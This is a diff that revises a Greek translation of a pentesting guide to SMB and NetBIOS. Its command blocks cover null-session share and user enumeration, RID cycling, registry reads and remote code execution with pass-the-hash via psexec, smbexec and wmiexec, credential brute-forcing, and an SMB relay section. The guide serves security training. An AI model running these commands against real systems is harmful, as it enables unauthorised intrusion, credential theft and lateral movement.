../../banners/hacktricks-training.md}} -## **Port 139** +## **Θύρα 139** -Το _**Network Basic Input Output System**_** (NetBIOS)** είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο να επιτρέπει σε εφαρμογές, PCs και επιτραπέζιους υπολογιστές εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το δικτυακό hardware και να **διευκολύνει τη μεταφορά δεδομένων στο δίκτυο**. Η αναγνώριση και ο εντοπισμός των εφαρμογών που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνεται μέσω των NetBIOS names τους, τα οποία μπορεί να έχουν μήκος έως 16 χαρακτήρων και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια σύνδεση NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μια εφαρμογή (λειτουργώντας ως client) εκδίδει μια εντολή για να «καλέσει» μια άλλη εφαρμογή (λειτουργώντας ως server) χρησιμοποιώντας **TCP Port 139**. +The _**Network Basic Input Output System**_** (NetBIOS)** είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, PCs, και Desktops εντός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το υλικό δικτύου και **να διευκολύνει τη μεταφορά δεδομένων μέσα στο δίκτυο**. Η ταυτοποίηση και ο εντοπισμός των εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των NetBIOS ονομάτων τους, τα οποία μπορούν να έχουν μήκος έως 16 χαρακτήρες και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια NetBIOS συνεδρία μεταξύ δύο εφαρμογών ξεκινά όταν μια εφαρμογή (που λειτουργεί ως client) εκδίδει μια εντολή για να "call" μια άλλη εφαρμογή (που λειτουργεί ως server) χρησιμοποιώντας **TCP Port 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` -## Port 445 +## Θύρα 445 -Σε τεχνικό επίπεδο, το Port 139 αναφέρεται ως ‘NBT over IP’, ενώ το Port 445 ταυτοποιείται ως ‘SMB over IP’. Το ακρωνύμιο **SMB** σημαίνει ‘**Server Message Blocks**’, το οποίο είναι επίσης στη σύγχρονη ορολογία γνωστό ως **Common Internet File System (CIFS)**. Ως πρωτόκολλο δικτύου στο επίπεδο εφαρμογής, το SMB/CIFS χρησιμοποιείται κυρίως για να επιτρέπει κοινή πρόσβαση σε αρχεία, εκτυπωτές, σειριακές θύρες και να διευκολύνει διάφορες μορφές επικοινωνίας μεταξύ κόμβων σε ένα δίκτυο. +Σε τεχνικό επίπεδο, η Port 139 αναφέρεται ως ‘NBT over IP’, ενώ η Port 445 ταυτοποιείται ως ‘SMB over IP’. Το ακρωνύμιο **SMB** σημαίνει ‘**Server Message Blocks**’, το οποίο είναι επίσης σύγχρονα γνωστό ως **Common Internet File System (CIFS)**. Ως πρωτόκολλο δικτύου επιπέδου εφαρμογής, το SMB/CIFS χρησιμοποιείται κυρίως για να επιτρέπει κοινή πρόσβαση σε αρχεία, εκτυπωτές, σειριακές θύρες και να διευκολύνει διάφορες μορφές επικοινωνίας μεταξύ κόμβων σε ένα δίκτυο. -Για παράδειγμα, στο πλαίσιο των Windows, επισημαίνεται ότι το SMB μπορεί να λειτουργήσει απευθείας πάνω από TCP/IP, εξαλείφοντας την ανάγκη για NetBIOS πάνω από TCP/IP, μέσω της χρήσης του Port 445. Αντιθέτως, σε άλλα συστήματα παρατηρείται η χρήση του Port 139, υποδεικνύοντας ότι το SMB εκτελείται σε συνεργασία με NetBIOS πάνω από TCP/IP. +Για παράδειγμα, στο πλαίσιο των Windows, επισημαίνεται ότι το SMB μπορεί να λειτουργεί απευθείας πάνω από TCP/IP, καταργώντας την ανάγκη για NetBIOS πάνω από TCP/IP, μέσω της χρήσης της θύρας 445. Αντιστρόφως, σε άλλα συστήματα παρατηρείται η χρήση της θύρας 139, κάτι που υποδεικνύει ότι το SMB εκτελείται σε συνδυασμό με NetBIOS πάνω από TCP/IP. ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -Το πρωτόκολλο **Server Message Block (SMB)**, που λειτουργεί σε μοντέλο **client-server**, σχεδιάστηκε για να ρυθμίζει την **πρόσβαση σε αρχεία**, σε καταλόγους και σε άλλους πόρους δικτύου όπως εκτυπωτές και δρομολογητές. Χρησιμοποιείται κυρίως στα λειτουργικά συστήματα **Windows**, και το SMB διασφαλίζει συμβατότητα προς τα πίσω, επιτρέποντας σε συσκευές με νεότερες εκδόσεις του λειτουργικού της Microsoft να αλληλεπιδρούν ομαλά με συσκευές που τρέχουν παλαιότερες εκδόσεις. Επιπλέον, το έργο **Samba** προσφέρει μια ελεύθερη υλοποίηση λογισμικού που επιτρέπει την χρήση του SMB σε συστήματα **Linux** και **Unix**, διευκολύνοντας έτσι την επικοινωνία μεταξύ πλατφορμών μέσω SMB. +Το **Server Message Block (SMB)** πρωτόκολλο, που λειτουργεί σε μοντέλο **client-server**, έχει σχεδιαστεί για τη ρύθμιση της **πρόσβασης σε αρχεία**, φακέλους και άλλους πόρους δικτύου όπως εκτυπωτές και δρομολογητές. Χρησιμοποιείται κυρίως στη σειρά λειτουργικών συστημάτων **Windows**, και το SMB εξασφαλίζει συμβατότητα προς τα πίσω, επιτρέποντας σε συσκευές με νεότερες εκδόσεις του λειτουργικού της Microsoft να αλληλεπιδρούν απρόσκοπτα με αυτές που τρέχουν παλαιότερες εκδόσεις. Επιπλέον, το έργο **Samba** προσφέρει μια ελεύθερη υλοποίηση, επιτρέποντας την εφαρμογή του SMB σε συστήματα **Linux** και **Unix**, διευκολύνοντας έτσι την διαπλατφόρμα επικοινωνία μέσω SMB. -Οι shares, που αντιπροσωπεύουν **αυθαίρετα τμήματα του τοπικού συστήματος αρχείων**, μπορούν να παρέχονται από έναν SMB server, κάνοντας την ιεραρχία ορατή σε έναν client σε μέρος **ανεξάρτητο** από την πραγματική δομή του server. Οι **Access Control Lists (ACLs)**, που ορίζουν τα **δικαιώματα πρόσβασης**, επιτρέπουν **λεπτομερή έλεγχο** των δικαιωμάτων των χρηστών, συμπεριλαμβανομένων χαρακτηριστικών όπως **`execute`**, **`read`** και **`full access`**. Αυτά τα δικαιώματα μπορούν να ανατεθούν σε μεμονωμένους χρήστες ή ομάδες, ανάλογα με τα shares, και είναι διακριτά από τα τοπικά δικαιώματα που έχουν οριστεί στον server. +Τα Shares, που αντιπροσωπεύουν **αυθαίρετα τμήματα του τοπικού συστήματος αρχείων**, μπορούν να παρέχονται από έναν SMB server, κάνοντας την ιεραρχία ορατή σε έναν client εν μέρει **ανεξάρτητη** από την πραγματική δομή του server. Οι **Access Control Lists (ACLs)**, που ορίζουν τα **δικαιώματα πρόσβασης**, επιτρέπουν **λεπτομερή έλεγχο** επί των δικαιωμάτων χρηστών, συμπεριλαμβανομένων χαρακτηριστικών όπως **`execute`**, **`read`**, και **`full access`**. Αυτά τα δικαιώματα μπορούν να ανατεθούν σε μεμονωμένους χρήστες ή ομάδες, με βάση τα shares, και είναι διακριτά από τα τοπικά δικαιώματα που έχουν οριστεί στον server. ### IPC$ Share -Η πρόσβαση στο IPC$ share μπορεί να αποκτηθεί μέσω μιας ανώνυμης null session, επιτρέποντας αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω named pipes. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτόν τον σκοπό. Όταν χρησιμοποιηθεί σωστά, επιτρέπει την απόκτηση: +Η πρόσβαση στο share IPC$ μπορεί να αποκτηθεί μέσω ανώνυμης null session, επιτρέποντας αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω named pipes. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτόν τον σκοπό. Όταν χρησιμοποιηθεί σωστά, επιτρέπει την απόκτηση: -- Πληροφορίες για το λειτουργικό σύστημα -- Λεπτομέρειες για το γονικό domain -- Λίστα τοπικών χρηστών και ομάδων -- Πληροφορίες για διαθέσιμα SMB shares -- Η ισχύουσα πολιτική ασφάλειας του συστήματος +- Πληροφοριών για το λειτουργικό σύστημα +- Λεπτομερειών για το γονικό domain +- Κατάλογου τοπικών χρηστών και ομάδων +- Πληροφοριών για διαθέσιμα SMB shares +- Της ισχύουσας πολιτικής ασφάλειας του συστήματος -Αυτή η λειτουργικότητα είναι κρίσιμη για τους διαχειριστές δικτύου και τους επαγγελματίες ασφάλειας προκειμένου να αξιολογήσουν την ασφάλεια των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του SMB περιβάλλοντος του στοχευόμενου συστήματος, η οποία είναι ουσιώδης για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι σωστά ασφαλισμένες. +Αυτή η λειτουργικότητα είναι κρίσιμη για διαχειριστές δικτύων και ειδικούς ασφάλειας για να αξιολογήσουν τη στάση ασφαλείας των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του SMB περιβάλλοντος του στοχευόμενου συστήματος, η οποία είναι ουσιώδης για τον εντοπισμό πιθανών ευπαθειών και για να διασφαλιστεί ότι οι υπηρεσίες SMB είναι κατάλληλα ασφαλισμένες. ```bash enum4linux -a target_ip ``` -Η παραπάνω εντολή είναι ένα παράδειγμα για το πώς μπορεί να χρησιμοποιηθεί το `enum4linux` για να εκτελέσει πλήρη enumeration εναντίον ενός στόχου που καθορίζεται από το `target_ip`. +Η παραπάνω εντολή είναι ένα παράδειγμα του πώς μπορεί να χρησιμοποιηθεί το `enum4linux` για να εκτελεστεί πλήρης αναγνώριση εναντίον ενός στόχου που ορίζεται από το `target_ip`. ## Τι είναι το NTLM -Αν δεν γνωρίζετε τι είναι το NTLM ή θέλετε να μάθετε πώς λειτουργεί και πώς να το καταχραστείτε, θα βρείτε πολύ ενδιαφέρουσα αυτή τη σελίδα για το **NTLM**, όπου εξηγείται **πώς λειτουργεί αυτό το πρωτόκολλο και πώς μπορείτε να το εκμεταλλευτείτε:** +Αν δεν ξέρετε τι είναι το NTLM ή θέλετε να μάθετε πώς λειτουργεί και πώς να το καταχραστείτε, θα βρείτε πολύ ενδιαφέρουσα αυτή τη σελίδα για το **NTLM** όπου εξηγείται **πώς λειτουργεί αυτό το πρωτόκολλο και πώς μπορείτε να το εκμεταλλευτείτε:** + {{#ref}} ../../windows-hardening/ntlm/ {{#endref}} -## **Enumeration διακομιστών** +## **Αναγνώριση διακομιστή** -### **Scan** ένα δίκτυο αναζητώντας hosts: +### **Σάρωση** ενός δικτύου αναζητώντας hosts: ```bash nbtscan -r 192.168.0.1/24 ``` -### SMB έκδοση διακομιστή +### Έκδοση διακομιστή SMB -Για να εντοπίσετε πιθανά exploits για την έκδοση SMB είναι σημαντικό να γνωρίζετε ποια έκδοση χρησιμοποιείται. Αν αυτή η πληροφορία δεν εμφανίζεται σε άλλα εργαλεία που χρησιμοποιείτε, μπορείτε: +Για να αναζητήσετε πιθανικά exploits για την έκδοση SMB, είναι σημαντικό να γνωρίζετε ποια έκδοση χρησιμοποιείται. Εάν αυτή η πληροφορία δεν εμφανίζεται σε άλλα εργαλεία που χρησιμοποιείτε, μπορείτε: -- Χρησιμοποιήστε το **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` +- Χρησιμοποιήστε το βοηθητικό module **MSF** `**auxiliary/scanner/smb/smb_version**` - Ή αυτό το script: ```bash #!/bin/sh @@ -79,7 +80,7 @@ echo "" && sleep .1 msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` -### **Πιθανές** Credentials +### **Πιθανά** Διαπιστευτήρια | **Username(s)** | **Common passwords** | | -------------------- | ----------------------------------------- | @@ -95,9 +96,9 @@ searchsploit microsoft smb - [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb) -### SMB Πληροφορίες Περιβάλλοντος +### SMB Environment Information -### Απόκτηση Πληροφοριών +### Λήψη Πληροφοριών ```bash #Dump interesting information enum4linux -a [-u "" -p ""] @@ -119,9 +120,9 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### Απαρίθμηση χρηστών, ομάδων & συνδεδεμένων χρηστών +### Καταγραφή χρηστών, ομάδων & συνδεδεμένων χρηστών -Αυτές οι πληροφορίες θα πρέπει να έχουν ήδη συλλεχθεί από enum4linux και enum4linux-ng +Αυτές οι πληροφορίες θα πρέπει ήδη να έχουν συλλεχθεί από enum4linux και enum4linux-ng ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -139,7 +140,7 @@ enumdomgroups ```bash lookupsid.py -no-pass hostname.local ``` -Εντολή μίας γραμμής +Oneliner ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` @@ -149,28 +150,28 @@ use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` -### **Απαρίθμηση LSARPC και SAMR rpcclient** +### **Ανίχνευση LSARPC και SAMR με rpcclient** {{#ref}} rpcclient-enumeration.md {{#endref}} -### GUI σύνδεση από linux +### Σύνδεση GUI από Linux #### Στο τερματικό: `xdg-open smb://cascade.htb/` -#### Στο παράθυρο διαχείρισης αρχείων (nautilus, thunar, etc) +#### Στο παράθυρο διαχείρισης αρχείων (nautilus, thunar, κ.λπ) `smb://friendzone.htb/general/` -## Απαρίθμηση Κοινόχρηστων Φακέλων +## Ανίχνευση Κοινόχρηστων Φακέλων -### Λίστα κοινόχρηστων φακέλων +### Καταγραφή κοινόχρηστων φακέλων -Συνιστάται πάντα να ελέγχετε αν μπορείτε να αποκτήσετε πρόσβαση σε οτιδήποτε. Αν δεν έχετε credentials, δοκιμάστε να χρησιμοποιήσετε **null** **credentials/guest user**. +Συνιστάται πάντα να ελέγχετε εάν μπορείτε να αποκτήσετε πρόσβαση σε κάτι· αν δεν έχετε credentials δοκιμάστε να χρησιμοποιήσετε **null** **credentials/guest user**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -184,7 +185,7 @@ crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` -### **Σύνδεση/Εμφάνιση ενός κοινόχρηστου φακέλου** +### **Σύνδεση/Προβολή κοινόχρηστου φακέλου** ```bash #Connect using smbclient smbclient --no-pass /// @@ -196,9 +197,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **Χειροκίνητη απαρίθμηση windows shares και σύνδεση σε αυτά** +### **Χειροκίνητη καταγραφή των Windows shares και σύνδεση σε αυτά** -Είναι πιθανό να είστε περιορισμένοι στο να εμφανίσετε οποιαδήποτε shares του host machine και όταν προσπαθείτε να τα απαριθμήσετε να φαίνεται σαν να μην υπάρχουν shares για σύνδεση. Συνεπώς αξίζει μια σύντομη προσπάθεια να δοκιμάσετε χειροκίνητα να συνδεθείτε σε ένα share. Για να απαριθμήσετε τα shares χειροκίνητα μπορεί να θέλετε να ψάξετε για αποκρίσεις όπως NT_STATUS_ACCESS_DENIED και NT_STATUS_BAD_NETWORK_NAME, όταν χρησιμοποιείτε μια valid session (e.g. null session or valid credentials). Αυτά μπορεί να υποδηλώσουν εάν το share υπάρχει και δεν έχετε πρόσβαση σε αυτό ή ότι το share δεν υπάρχει καθόλου. +Ενδέχεται να ισχύει ότι σας είναι απαγορευμένο να εμφανίσετε οποιαδήποτε shares του host μηχανήματος και όταν προσπαθείτε να τα απαριθμήσετε φαίνεται σαν να μην υπάρχουν shares για σύνδεση. Επομένως αξίζει να δοκιμάσετε σύντομα να συνδεθείτε χειροκίνητα σε ένα share. Για να απαριθμήσετε τα shares χειροκίνητα ίσως θελήσετε να προσέξετε απαντήσεις όπως NT_STATUS_ACCESS_DENIED και NT_STATUS_BAD_NETWORK_NAME, όταν χρησιμοποιείτε μια έγκυρη συνεδρία (π.χ. null session ή valid credentials). Αυτά μπορεί να υποδεικνύουν αν το share υπάρχει αλλά δεν έχετε πρόσβαση ή αν το share δεν υπάρχει καθόλου. Common share names for windows targets are @@ -211,14 +212,14 @@ Common share names for windows targets are - SYSVOL - NETLOGON -(Common share names from _**Network Security Assessment 3rd edition**_) +(Κοινά ονόματα shares από _**Network Security Assessment 3rd edition**_) -Μπορείτε να δοκιμάσετε να συνδεθείτε σε αυτά χρησιμοποιώντας την παρακάτω εντολή +Μπορείτε να προσπαθήσετε να συνδεθείτε σε αυτά χρησιμοποιώντας την ακόλουθη εντολή ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -ή αυτό το script (using a null session) +ή αυτό το script (χρησιμοποιώντας μία null session) ```bash #/bin/bash @@ -240,7 +241,7 @@ done smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Καταγραφή κοινοχρήστων σε Windows / χωρίς εργαλεία τρίτων** +### **Απαρίθμηση shares από Windows / χωρίς εργαλεία τρίτων** PowerShell ```bash @@ -252,23 +253,23 @@ get-smbshare -CimSession "" # Retrieves the connections established from the local SMB client to the SMB servers. Get-SmbConnection ``` -CMD κονσόλα +Κονσόλα CMD ```shell # List shares on the local computer net share # List shares on a remote computer (including hidden ones) net view \\ /all ``` -MMC Snap-in (γραφικό) +MMC Snap-in (γραφικό περιβάλλον) ```shell # Shared Folders: Shared Folders > Shares fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe (γραφικό), πληκτρολογήστε `\\\` για να δείτε τα διαθέσιμα μη κρυμμένα shares. +explorer.exe (γραφικό), εισάγετε `\\\` για να δείτε τους διαθέσιμους μη κρυφούς κοινόχρηστους πόρους. -### Προσάρτηση ενός shared folder +### Προσάρτηση ενός κοινόχρηστου φακέλου ```bash mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share @@ -293,13 +294,13 @@ smbclient /// Εντολές: - mask: καθορίζει τη μάσκα που χρησιμοποιείται για να φιλτράρει τα αρχεία μέσα στον κατάλογο (π.χ. "" για όλα τα αρχεία) -- recurse: εναλλάσσει την αναδρομική λειτουργία (προεπιλογή: απενεργοποιημένη) -- prompt: απενεργοποιεί την προτροπή για ονόματα αρχείων (προεπιλογή: ενεργοποιημένη) +- recurse: ενεργοποιεί/απενεργοποιεί την αναδρομή (προεπιλογή: απενεργοποιημένη) +- prompt: ενεργοποιεί/απενεργοποιεί την εμφάνιση προτροπής για ονόματα αρχείων (προεπιλογή: ενεργοποιημένη) - mget: αντιγράφει όλα τα αρχεία που ταιριάζουν με τη μάσκα από τον host στη μηχανή client (_Πληροφορίες από το manpage του smbclient_) -### Αναζήτηση Κοινόχρηστων Φακέλων του Domain +### Αναζήτηση Κοινόχρηστων Φακέλων Domain - [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash @@ -311,15 +312,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Ιδιαίτερα ενδιαφέροντα από τα shares είναι τα αρχεία με όνομα **`Registry.xml`** καθώς μπορεί να περιέχουν **passwords** για χρήστες ρυθμισμένους με **autologon** μέσω Group Policy. Επίσης τα αρχεία **`web.config`** καθώς περιέχουν **credentials**. +Ειδικά ενδιαφέροντα από shares είναι τα αρχεία με όνομα **`Registry.xml`**, καθώς αυτά **ενδέχεται να περιέχουν passwords** για χρήστες ρυθμισμένους με **autologon** μέσω Group Policy. Επίσης τα αρχεία **`web.config`**, καθώς περιέχουν credentials. > [!TIP] -> Το **SYSVOL share** είναι **αναγνώσιμο** από όλους τους επαληθευμένους χρήστες στο domain. Εκεί μπορείς να βρεις πολλά διαφορετικά batch, VBScript, και PowerShell **scripts**.\ -> Πρέπει να ελέγξεις τα **scripts** μέσα σε αυτό καθώς μπορείς να βρεις ευαίσθητες πληροφορίες όπως **passwords**. +> Το **SYSVOL share** είναι **readable** από όλους τους authenticated users στο domain. Εκεί μπορεί να **βρείτε** πολλά διαφορετικά batch, VBScript, και PowerShell **scripts**.\ +> Θα πρέπει να **ελέγξετε** τα **scripts** μέσα σε αυτό καθώς μπορεί να **βρείτε** ευαίσθητες πληροφορίες όπως **passwords**. ## Ανάγνωση Registry -Μπορεί να μπορείτε να **διαβάσετε το registry** χρησιμοποιώντας κάποια εντοπισμένα credentials. Impacket **`reg.py`** σας επιτρέπει να δοκιμάσετε: +Μπορεί να είστε σε θέση να **διαβάσετε το registry** χρησιμοποιώντας κάποια ανακαλυφθέντα credentials. Impacket **`reg.py`** σας επιτρέπει να δοκιμάσετε: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -327,26 +328,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 ``` ## Post Exploitation -Η **προεπιλεγμένη διαμόρφωση του** **Samba** server βρίσκεται συνήθως στο `/etc/samba/smb.conf` και μπορεί να έχει μερικές **επικίνδυνες ρυθμίσεις**: +Η **προεπιλεγμένη ρύθμιση** ενός **Samba** διακομιστή βρίσκεται συνήθως στο `/etc/samba/smb.conf` και μπορεί να περιέχει κάποιες **επικίνδυνες ρυθμίσεις**: -| **Ρύθμιση** | **Περιγραφή** | +| **Ρύθμιση** | **Περιγραφή** | | --------------------------- | ------------------------------------------------------------------- | | `browseable = yes` | Επιτρέπει την εμφάνιση των διαθέσιμων shares; | | `read only = no` | Απαγορεύει τη δημιουργία και τροποποίηση αρχείων; | | `writable = yes` | Επιτρέπει στους χρήστες να δημιουργούν και να τροποποιούν αρχεία; | -| `guest ok = yes` | Επιτρέπει τη σύνδεση στην υπηρεσία χωρίς χρήση κωδικού; | +| `guest ok = yes` | Επιτρέπει τη σύνδεση στην υπηρεσία χωρίς χρήση κωδικού πρόσβασης; | | `enable privileges = yes` | Τηρεί τα προνόμια που έχουν ανατεθεί σε συγκεκριμένο SID; | -| `create mask = 0777` | Ποιες άδειες πρέπει να ανατίθενται σε νεοδημιουργημένα αρχεία; | -| `directory mask = 0777` | Ποιες άδειες πρέπει να ανατίθενται σε νεοδημιουργημένους καταλόγους;| -| `logon script = script.sh` | Ποιο script πρέπει να εκτελείται κατά το login του χρήστη; | -| `magic script = script.sh` | Ποιο script πρέπει να εκτελείται όταν το script κλείνει; | -| `magic output = script.out` | Πού πρέπει να αποθηκεύεται η έξοδος του magic script; | +| `create mask = 0777` | Ποιες άδειες πρέπει να δοθούν στα νεοδημιουργημένα αρχεία; | +| `directory mask = 0777` | Ποιες άδειες πρέπει να δοθούν στους νεοδημιουργημένους καταλόγους; | +| `logon script = script.sh` | Ποιο script πρέπει να εκτελείται κατά την είσοδο του χρήστη; | +| `magic script = script.sh` | Ποιο script πρέπει να εκτελείται όταν το script κλείνει; | +| `magic output = script.out` | Πού πρέπει να αποθηκεύεται η έξοδος του magic script; | -Η εντολή `smbstatus` δίνει πληροφορίες για τον **εξυπηρετητή** και για το **ποιος είναι συνδεδεμένος**. +Η εντολή `smbstatus` παρέχει πληροφορίες για τον **διακομιστή** και για το **ποιος είναι συνδεδεμένος**. ## Authenticate using Kerberos -Μπορείτε να **αυθεντικοποιηθείτε** στο **kerberos** χρησιμοποιώντας τα εργαλεία **smbclient** και **rpcclient**: +Μπορείτε να **αυθεντικοποιηθείτε** στο **Kerberos** χρησιμοποιώντας τα εργαλεία **smbclient** και **rpcclient**: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com @@ -355,7 +356,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec μπορεί να εκτελέσει εντολές **εκμεταλλευόμενο** οποιοδήποτε από τα **mmcexec, smbexec, atexec, wmiexec**, όπου **wmiexec** είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσει με την παράμετρο `--exec-method`: +crackmapexec μπορεί να εκτελέσει εντολές εκμεταλλευόμενο οποιοδήποτε από τα **mmcexec, smbexec, atexec, wmiexec**, με το **wmiexec** να είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσετε με την παράμετρο `--exec-method`: ```bash apt-get install crackmapexec @@ -379,8 +380,8 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -Και οι δύο επιλογές θα **δημιουργήσουν μια νέα υπηρεσία** (χρησιμοποιώντας _\pipe\svcctl_ μέσω SMB) στο μηχάνημα του θύματος και θα το χρησιμοποιήσουν για να **εκτελέσουν κάτι** (**psexec** θα **upload** ένα εκτελέσιμο αρχείο στο ADMIN$ share και **smbexec** θα δείχνει σε **cmd.exe/powershell.exe** και θα βάλει στα arguments το payload --**file-less technique-**-).\ -**Περισσότερες πληροφορίες** για [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)και [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ +Και οι δύο επιλογές θα **δημιουργήσουν μια νέα υπηρεσία** (χρησιμοποιώντας _\pipe\svcctl_ μέσω SMB) στο μηχάνημα του θύματος και θα τη χρησιμοποιήσουν για να **εκτελέσουν κάτι** (το **psexec** θα **ανεβάσει** ένα εκτελέσιμο αρχείο στο share ADMIN$ και το **smbexec** θα δείξει σε **cmd.exe/powershell.exe** και θα βάλει στα ορίσματα το payload --**file-less technique-**-).\ +**Περισσότερες πληροφορίες** για [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) και [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted @@ -389,11 +390,11 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -Χρησιμοποιώντας την **παράμετρο**`-k` μπορείτε να αυθεντικοποιηθείτε στο **kerberos** αντί για **NTLM** +Χρησιμοποιώντας την **παράμετρο**`-k` μπορείτε να αυθεντικοποιηθείτε μέσω **kerberos** αντί για **NTLM** ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -Εκτελέστε αθόρυβα ένα command shell χωρίς να αγγίξετε τον δίσκο ή να τρέξετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **port 135.**\ +Εκτελέστε αθόρυβα ένα command shell χωρίς να αγγίξετε τον δίσκο ή να εκκινήσετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **port 135.**\ Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted @@ -401,7 +402,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -Χρησιμοποιώντας την **παράμετρο**`-k` μπορείτε να αυθεντικοποιηθείτε με **kerberos** αντί για **NTLM** +Χρησιμοποιώντας την **παράμετρο**`-k` μπορείτε να αυθεντικοποιηθείτε στο **kerberos** αντί για **NTLM** ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -426,44 +427,44 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ksmbd-attack-surface-and-fuzzing-syzkaller.md {{#endref}} -## **Bruteforce διαπιστευτήρια χρηστών** +## **Bruteforce users credentials** -**Αυτό δεν συνιστάται — μπορεί να κλειδώσετε έναν λογαριασμό αν ξεπεράσετε τον μέγιστο επιτρεπόμενο αριθμό προσπαθειών** +**Αυτό δεν συνιστάται — μπορεί να κλειδώσετε έναν λογαριασμό αν υπερβείτε τον μέγιστο επιτρεπόμενο αριθμό προσπαθειών** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## SMB relay attack -This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\ -[**Περισσότερες πληροφορίες για αυτή την επίθεση 